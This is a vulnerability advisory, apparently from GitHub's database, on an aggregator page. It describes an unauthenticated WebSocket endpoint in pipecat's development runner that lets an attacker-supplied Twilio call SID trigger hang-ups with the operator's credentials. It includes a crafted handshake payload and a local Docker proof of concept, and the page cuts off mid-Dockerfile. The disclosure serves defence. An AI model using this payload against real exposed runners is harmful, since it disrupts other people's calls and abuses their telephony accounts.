Pipecat: Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID
- When
- Where
- Global (internet)
- Category
- cyber_advisory · pip
## Development Runner Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID ### Summary The pipecat development runner registers a `/ws` WebSocket endpoint for telephony testing that accepts connections without any authentication. An unauthenticated remote attacker who can reach an exposed runner endpoint can connect to this endpoint, send a crafted Twilio handshake message containing an attacker-supplied `callSid`, and cause the server to issue an authenticated Twilio REST API hang-up request against that call SID using the server operator's own credentials. This may allow the attacker to forcibly terminate an active call on the victim's Twilio account if the attacker knows or obtains a valid call SID for that account. Equivalent unauthenticated call-control sinks exist for Telnyx and Plivo. Maintainers are evaluating the final CVSS 3.1 score. ### Details The pipecat development runner registers a WebSocket route at `/ws` (`src/pipecat/runner/run.py:1116`). When a client connects, the server immediately accepts the connection without performing any authentication or signature verification (`run.py:1119`): ```python await websocket.accept() # run.py:1119 — no auth check before this point ``` After acceptance, the server reads the Twilio WebSocket stream-start handshake and extracts the `callSid` field verbatim from the attacker-controlled JSON payload (`src/pipecat/runner/utils.py:223`): ```python call_id: start_data.get("callSid") # utils.py:223 — tainted, attacker-supplied ``` The tainted `call_id` is then passed directly into `TwilioFrameSerializer` alongside the server's own Twilio account credentials, which are read from environment variables (`src/pipecat/runner/utils.py:513-517`): ```python TwilioFrameSerializer( stream_sid=stream_id, call_sid=call_id, # TAINTED account_sid=os.getenv("TWILIO_ACCOUNT_SID"), # server credential auth_token=os.getenv("TWILIO_AUTH_TOKEN"), # server credential ) ``` `TwilioFrameSerializer` has `auto_hang_up` defaulting to `True` (`src/pipecat/serializers/twilio.py:56`). When the pipeline terminates and serializes an `EndFrame` or `CancelFrame`, `_hang_up_call()` is triggered (`twilio.py:141-147`). This method constructs a Twilio REST API URL containing the attacker-supplied `call_sid` and POSTs to it using the server's own credentials (`twilio.py:196`, `twilio.py:206`): ``` POST https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Calls/{attacker_call_sid}.json Authorization: Basic <base64(account_sid:auth_token)> Body: Status=completed ``` The same unauthenticated call-control pattern exists for Telnyx (`src/pipecat/serializers/telnyx.py:188`, `:195`) and Plivo (`src/pipecat/serializers/plivo.py:180`, `:187`). Although the runner defaults to `localhost` and is documented as a development runner, its telephony mode is commonly used with a public proxy hostname so that telephony providers can connect inbound calls. If the development runner is exposed to untrusted networks while configured with Twilio, Telnyx, or Plivo credentials, this becomes a realistic network-reachable attack surface. ### PoC **Prerequisites** - Docker (for building the isolated PoC image) - A clone of the pipecat repository at commit `b982b45a7ae1e5ee99e4390ad5a116cdd9b4a8e2` placed at `<context_root>/repo/` - The files `vuln-001/Dockerfile` and `vuln-001/poc.py` present under `<context_root>/` **Step 1 — Build the Docker image** ```bash docker build \ -f vuln-001/Dockerfile \ -t vuln001-poc \ reports/pypiAi_247_pipecat-ai__pipecat ``` The Dockerfile installs pipecat from the local repository clone, generates a self-signed TLS CA and server certificate for `api.twilio.com`, and registers that CA in the system trust store so that pipecat's `aiohttp`-based HTTP client accepts the mock server certificate. **Step 2 — Run the PoC** ```bash docker run --rm \ --add-host api.twilio.com:127.0.0.1 \ vuln001-poc ``` The `--add-host` flag redirects DNS resolution for `api.twilio.com` to the loopback interface so all outgoing Twilio REST API calls hit the mock server instead of Twilio's real infrastructure. **What the PoC does** 1. Starts a local TLS-enabled HTTP server on `127.0.0.1:443` that impersonates `api.twilio.com` and records every incoming POST request. 2. Simulates the attacker-controlled WebSocket handshake message with an injected `callSid`: ```json {"event": "start", "start": {"streamSid": "MX000...", "callSid": "CAATTACKER1337INJECTED00000000001", "customParameters": {}}} ``` 3. Runs the exact pipecat code path: parses `callSid` from attacker input (`utils.py:223`), constructs `TwilioFrameSerializer` with server credentials (`utils.py:513-517`), and calls `serialize(EndFrame())` which triggers `_hang_up_call()` (`twilio.py:141-147`, `:196`, `:206`). 4. Verifies that the mock server received a POST whose URL contains the attacker-injected call SID. **Expected output (passing)** ``` [PASS] *** VULNERABILITY CONFIRMED *** [PASS] Attacker callSid 'CAATTACKER1337INJECTED00000000001' appears in Twilio REST API URL. [PASS] The server used its own credentials (account_sid=ACFAKE000000000000000000000000001) [PASS] to issue an authenticated hang-up command for the attacker-specified call SID. ``` **Observed intercepted request (Phase 2 dynamic reproduction)** ``` POST https://api.twilio.com/2010-04-01/Accounts/ACFAKE000000000000000000000000001/Calls/CAATTACKER1337INJECTED00000000001.json Authorization: Basic QUNGQUtFMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxOmZha2VfYXV0aF90b2tlbl9wb2Nfb25seQ== Body: Status=completed ``` Decoding the `Authorization` header confirms `ACFAKE000000000000000000000000001:fake_auth_token_poc_only` — the server's own credentials were used against the attacker-specified call SID. ### Impact This is a Missing Authorization vulnerability (CWE-862) in the development runner's telephony WebSocket handling. An unauthenticated network actor who can reach an exposed `/ws` WebSocket endpoint of a pipecat development runner configured with Twilio, Telnyx, or Plivo credentials may be able to: 1. **Forcibly terminate active calls whose valid call-control identifiers are known or obtained** on the server operator's Twilio, Telnyx, or Plivo account by injecting the victim call identifier into the WebSocket handshake and then triggering pipeline termination. 2. **Cause denial of service** against affected calls by repeatedly terminating calls for which the attacker has valid call-control identifiers. 3. **Abuse the operator's telephony provider credentials** to perform call-control actions that the attacker does not have direct access to, effectively escalating privilege over the operator's telephony account. Impacted parties include operators who expose the pipecat development runner's telephony `/ws` endpoint on a publicly reachable host with Twilio, Telnyx, or Plivo credentials configured, and their customers whose active calls can be disrupted if a valid call-control identifier is known or obtained by an attacker. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim LABEL description="VULN-001 PoC: Telephony WebSocket /ws callSid injection (CWE-862)" WORKDIR /poc # Install system tools needed for certificate generation and trust management RUN apt-get update && apt-get install -y \ openssl \ ca-certificates \ && rm -rf /var/lib/apt/lists/* # Generate a local CA and a server certificate for api.twilio.com. # We add the CA to the system trust store so that Python's ssl module # (used by aiohttp inside TwilioFrameSerializer._hang_up_call) accepts # our mock HTTPS server at 127.0.0.1:443 as if it were real Twilio. RUN mkdir -p /poc/certs \ # CA private key && openssl genrsa -out /poc/certs/ca.key 2048 \ # Self-signed CA certificate (1 day is enough for a PoC run) && openssl req -new -x509 -days 1 \ -key /poc/certs/ca.key \ -out
Sources
- GitHub Advisory Database ↗ · first seen 2026-06-18 15:05 UTC
Defaxon links out to the original reporting and never republishes article text.
Correlated events
Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.
No correlated events found in the current window. As more events arrive, connections form automatically.